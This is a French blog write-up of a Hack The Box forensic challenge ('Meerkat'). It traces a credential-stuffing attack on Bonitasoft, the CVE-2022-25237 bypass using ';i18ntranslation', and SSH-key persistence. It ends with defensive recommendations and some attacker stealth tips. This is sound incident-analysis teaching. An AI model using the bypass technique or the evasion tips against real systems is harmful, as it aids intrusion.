Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Keeper : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

Hack the box – Sherlocks (forensic) : découverte et solution de Meerkat

2 février 2024 à 10:00

I. Présentation

On se retrouve dans cet article pour une nouvelle solution de l'un des challenges d'investigation numérique/forensic nommés Sherlocks et mis à disposition par la plateforme Hack The Box. Je vous propose ici ma démarche permettant de solutionner le Sherlocks Meerkat, de difficulté "Facile".

Cet article sera notamment l'occasion de comprendre comment peut se dérouler concrètement une cyberattaque, et quels sont les modes opératoires des attaquants et analystes en cybersécurité

Cette solution est publiée en accord avec les règles d'Hack The Box et ne sera diffusée que lorsque le Sherlocks en question sera indiqué comme "Retired".

Technologies abordéesLinux, bash, web, JSON, HTTP
Outils utilisésWireshark, sublime text, jsbeautifier

Retrouvez tous nos articles Hack The Box via ce lien :

II. Découverte de l'archive

Dans le cadre de cette investigation, un contexte et une archive sont mis à disposition :

Nous commençons donc par ouvrir l'archive fournie. À l'intérieur, un fichier Wireshark ainsi qu'un fichier JSON :

Le fichier JSON est en format condensé, ou minifié. On peut le rendre plus lisible en faisant l'opération inverse à l'aide de js-beautify :

$ sudo apt install jsbeautifier 
$ cat meerkat-alerts.json |js-beautify > beautified-meerkat-alerts.json

Voilà qui est mieux !

Je ne sais pas vraiment de quel outil viennent ces données, mais il s'agit vraisemblablement d'une solution de sécurité réseau ou d'un IDS (Intrusion Detection System). On y voit différentes données relatives à des alertes de sécurité portant sur des flux réseau (IP destination, source, ports, etc.).

III. Investigation numérique : le cas Meerkat

A. Tâche n°1: l'application web

  • Énoncé - Task 1 : We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running?

La première tâche consiste à retrouver le nom de l'application compromise. J'ai commencé par isoler les signatures dans les alertes depuis le fichier JSON afin d'avoir une vue synthétique de celles-ci :

On voit ici que plusieurs alertes référencent l'application Bonitasoft. La solution de sécurité semble avoir reconnu l'exploit ou l'attaque et l'avoir assigné à une CVE. Si l'on s'intéresse à la capture réseau avec l'outil d'analyse réseau Wireshark et que l'on applique un filtre sur le protocole HTTP, on peut voir que l'application bonita apparaît rapidement :

Astuce au passage : pour appliquer rapidement un filtre Wireshark sur un élément très spécifique d'un paquet, on peut effectuer un clic droit sur l'élément en question puis Apply as Filter :


B. Tâche n°2 : identifiants utilisés

  • Énoncé - Task 2 : We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out?

Il s'agit de retrouver le nom de l'attaque opérée sur l'application, en sachant qu'elle a un lien avec le brute force et les mots de passe. Commençons par nous renseigner sur les attaques existantes et leurs noms exacts auprès de la référence en la matière, le framework MITRE ATT&CK :

On se doute donc que l'attaque va être l'une de celles-ci. Nous pouvons essayer d'analyser les paquets HTTP du fichier PCAP pour en savoir plus (Filtre wireshark : HTTP). S’il s'agit d'une attaque concernant l'authentification, les requêtes qui nous intéressent sont les requêtes POST (à moins que l'application soit vraiment très ancienne, à l'époque où les identifiants transitaient en paramètre GET...). Améliorons notre filtre Wireshark :

Nous pouvons voir que plusieurs requêtes POST ont été faites, chacune avec des identifiants bien précis, soit l'identifiant qui semble être celui par défaut (install:install), soit une adresse mail avec un mot de passe. On observe notamment qu'il n'y a jamais deux fois le même username de testé, il ne s'agit pas d'une attaque par brute force. L'attaquant semble savoir à l'avance quel mot de passe va avec quelle adresse mail.

L'attaquant a donc forcément récupéré ces informations avant de procéder à son attaque. Il s'agit donc d'une attaque par Credential Stuffing l'attaquant utilise des identifiants valides qu'il a récupéré précédemment (achat sur le darknet, campagne de phishing, etc.).

C. Tâche n°3 : utilisation d'une CVE

  • Énoncé - Task 3 : Does the vulnerability exploited have a CVE assigned - and if so, which one?

Ici, il faut revenir sur les alertes de sécurité récupérées dans le format JSON, la CVE en question est déjà identifiée :

L'attaquant a exploité la CVE-2022-25237.

D. Tâche n°4 : contournement de filtre

  • Énoncé - Task 4 : Which string was appended to the API URL path to bypass the authorization filter by the attacker's exploit?

D'après la question, l'attaquant aurait modifié l'URL durant son attaque sur l'API afin de contourner un filtrage en place. Voyons cela dans la capture réseau.

Nous pouvons voir qu'après plusieurs tentatives d'authentification infructueuses, l'attaquant parvient à trouver une combinaison valide puisqu'il atterrit sur l'API. On peut notamment observer que toutes les URL comportent un ;i18ntranslation. J'ai du mal à voir l'intérêt d'ajouter cette chaîne de caractère, mais cela semble être en relation avec la CVE exploitée.

E. Tâche n°5 : attaque par brute force

  • Énoncé - Task 5 : How many combinations of usernames and passwords were used in the credential stuffing attack?

Ici, Il s'agit de compter le nombre de tentatives d'authentification différentes effectuées par l'attaquant dans le cadre de son attaque par Credential stuffing. Pour ce faire, j'ai appliqué le filtre suivant sur Wireshark :

http.request.uri == "/bonita/loginservice"

Il me permet de n'afficher que les paquets qui contiennent une requête vers /bonita/loginservice, correspondant à la page de login. J'ai ensuite effectué un tri par taille (Length) afin de pouvoir ignorer rapidement toutes les tentatives d'authentification avec install:install (qui font donc tous la même taille : 105 octets). Ceux-ci n'entrent pas dans le cadre d'une attaque par Credential Stuffing, puisqu'il s'agit d'un mot de passe par défaut, et non volé.

En sélectionnant les paquets restants, Wireshark m'indique que j'en ai 59 :

J'en enlève 3 car l'attaquant a fait 4 tentatives d'authentification avec les mêmes identifiants, qui ne comptent donc que pour 1, cela fait donc 56 identifiants.

F. Tâche n°6 : identifiant valide

  • Énoncé - Task 6 : Which username and password combination was successful?

Nous avons un aperçu de la réponse via nos analyses précédentes. En affichant uniquement les requêtes POST dans Wireshark, on remarque qu'après plusieurs tentatives d'authentification, l'attaquant commence à requêter d'autres points d'entrée, signe que son attaque par brute force a abouti :

Ici, il ne faut pas oublier de trier nos paquets par ordre d'interception, et non plus par taille. En sélectionnant l'authentification juste avant la requête sur l'URL /bonita/API/pageUpload, on obtient les identifiants avec lesquels l'attaquant est parvenu à s'authentifier :

[email protected]:g0vernm3nt

G. Tâche n°7 : utilisation d'un site tiers

  • Énoncé - Task 7 : If any, which text sharing site did the attacker utilise?

Il semble ici que l'attaquant ait utilisé un site de partage de fichiers pour échanger des données avec la cible compromise. Qui dit requête web, dit souvent requête DNS, utilisons un filtre Wireshark sur les requêtes DNS de type 1 (A, c'est-à-dire les requêtes name to IPv4):

Le site utilisé par l'attaquant est pastes.io !

H. Tâche n°8 : script de persistance

  • Énoncé - Task 8 : Please provide the file hash of the script used by the attacker to gain persistent access to our host.

Ici, il s'agit de retrouver un script déposé par l'attaquant afin d'établir une persistance sur le système compromis. Nous pouvons nous intéresser aux échanges réseau effectués par l'attaquant, qui sont en clair :

On retrouve assez rapidement une commande wget qui a permis à l'attaquant de télécharger un script depuis le site pastes.io. Ce qui nous permet de nous-même le télécharger pour récupérer son hash md5.

Attention : en condition réelle, le téléchargement et surtout l'analyse des outils de l'attaquant doivent être réalisés sur des plateformes faites pour, déconnectées d'internet et du réseau interne de l'entreprise.

I. Tâche n°9 : clé publique SSH

  • Énoncé - Task 9 : Please provide the file hash of the public key used by the attacker to gain persistence on our host.

En analysant le contenu du script, on remarque qu'il a cherché à ajouter sa clé publique dans le fichier authorized_keys de l'utilisateur ubuntu :

Là aussi, sa clé est téléchargée depuis le site pastes.io, ce qui nous permet de la récupérer :

J. Tâche n°10 : modification d'un compte utilisateur

  • Énoncé - Task 10 : Can you confirmed the file modified by the attacker to gain persistence?

Nous avons déjà la réponse grâce à la lecture du script de l'attaquant :

/home/ubuntu/.ssh/authorized_keys

Passons à la tâche suivante !

K. Tâche n°11 : MITRE ATT&CK

  • Énoncé - Task 11 : Can you confirm the MITRE technique ID of this type of persistence mechanism?

De retour sur le framework MITRE ATT&CK, connaissant déjà ce framework à force de l'utiliser, je retrouve facilement l'attaque en question :

Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :

IV. Résumé de l'attaque

Au cours de cette investigation, nous avons découvert que l'attaquant a opéré au préalable de l'attaque une récupération d'identifiants et de mots de passe valides par un moyen inconnu. Il a ensuite effectué une attaque par brute force avec ces identifiants sur l'application BonitaSoft en exploitant notamment la CVE-2022-25237 pour contourner les protections de la page d'authentification. Une fois authentifié, l'attaquant a déposé une backdoor par l'intermédiaire du site pastes.io, puis il est parvenu à ajouter sa clé SSH publique dans le répertoire personnel de l'utilisateur ubuntu. Enfin, il est parvenu à accéder en SSH au serveur compromis.

Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

TTP (MITRE ATT&CK)Détails
T1589.001 - Gather Victim Identity Information: CredentialsCollection d'identifiants valides concernant l’entité attaquée par un moyen inconnu
T1110.004 - Brute Force: Credential StuffingAttaque par brute force sur la page d'authentification avec les identifiants récupérés
T1608.002 - Stage Capabilities: Upload ToolTéléchargement et exécution d'un script par l'intermédiaire d'un site web en ligne (pastes.io)

T1098.004 - Acount Manipulation: SSH Authorized Keys
Ajout d'une clé publique SSH dans le home de l'utilisateur ubuntu.
T1021.004 - Remote Services: SSHConnexion au serveur SSH compromis

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :).

A. Côté analyste

Maîtrisez Wireshark : cet outil regorge de fonctionnalités avancées que nous n'avons fait qu'effleurer ici, mais les connaître donne un avantage certain et permet d'aller beaucoup plus vite lors d'une analyse.

L'analyse du fichier JSON a été réalisée à coup de grep, mais sur un fichier plus conséquent l'utilisation de jq ou d'autres parseurs JSON en ligne de commande pourrait devenir intéressante.

B. Côté défense

L'attaquant a opéré une attaque par credential stuffing, ce qui signifie soit :

  • que les utilisateurs ont été piégés par un phishing préalable à l'attaque, auquel cas il faut améliorer la sensibilisation des utilisateurs
  • soit que les identifiants ont été récupérés sur une autre application compromise, auquel cas les utilisateurs réutilisent leurs identifiants entre les applications, ce qui n'est pas une bonne pratique. L'implémentation d'un 2FA peut également être recommandée.

La compromission initiale ayant été réalisée en exploitant la CVE-2022-25237 (authentication/authorization bypass vulnerability), il peut également être recommandé de mettre en place et d'appliquer une politique de mise à jour (directive n°34 du guide d'hygiène de l'ANSSI : Définir une politique de mise à jour des composants du système d’information).

Le fait qu'un serveur ait un accès direct et non restreint à internet est un danger certain. On voit ici que l'attaquant a pu importer des outils, des scripts et sa clé publique très rapidement et sans contraintes particulières. C'est pourquoi il est recommandé de limiter au strict nécessaire l'accès à internet des serveurs.

L'exposition directe du serveur à internet et notamment de son service d'administration (SSH) apporte une porte d'entrée supplémentaire à l'attaquant. Après avoir compromis l'application web et ajouté sa clé publique dans les authorized_keys d'un utilisateur, celui-ci a pu se connecter en SSH et se servir du serveur compromis comme d'un rebond vers le réseau interne.

L'ANSSI recommande dans la directive n°23 de son guide d'hygiène de "Cloisonner les services visibles depuis internet du reste du système d’information" pour limiter les possibilités de rebond. Il est également recommandé de ne pas exposer de ports d'administration directement sur Internet, mais d'y accéder en interne, si nécessaire après l'établissement d'une connexion VPN.

On peut également noter que l'utilisateur qui fait tourner le service web ne devrait pas avoir les droits d'écriture dans le home d'un utilisateur. Dans ce cas, il peut être recommandé de vérifier les permissions d'exécution de l'application web sur le serveur Linux compromis, par exemple utiliser le compte www-data et s'assurer qu'il n'a pas de droits d'accès trop permissifs en dehors de ses répertoires web.

Je vous recommande vraiment de vous intéresser au framework MITRE ATT&CK, il permet de rapidement catégoriser une attaque, la définir, mais aussi d'obtenir des informations supplémentaires sur les outils pouvant être utilisés, des recommandations, des informations pour améliorer la détection ou identifier des groupes d'attaquants (APT) en relation avec une attaque.

C. Côté attaquant

Pour être plus discret, l'attaquant aurait pu étaler son attaque par brute force sur plusieurs heures ou jours, potentiellement avec des IP différentes. Il est en effet plus difficile de corréler des évènements sur une telle durée (à moins qu'un filtre sur l'IP du serveur ciblé soit appliqué, mais la taille des fichiers à analyser doit être conséquente). N'étant pas moi-même analyste SOC/Forensic, je suis preneur de vos retours sur cette méthode :).

L'attaquant aurait également pu procéder à des opérations ne nécessitant pas le dépôt de fichier sur le système avec des commandes en one-line, pourquoi pas obfusquées. Le fait de laisser ses fichiers/scripts indéfiniment sur une plateforme publique facilite également la compréhension de l'attaque et pourquoi pas l'identification de l'attaquant. Cela apparaît toutefois comme réaliste dans le cadre d'attaques en masse ou automatisées, toutes les machines compromises retrouveront alors les scripts et backdoors sur un seul et même point.

VI. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis ! 🙂

Enfin si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack the box – Sherlocks (forensic) : découverte et solution de Meerkat first appeared on IT-Connect.

❌
❌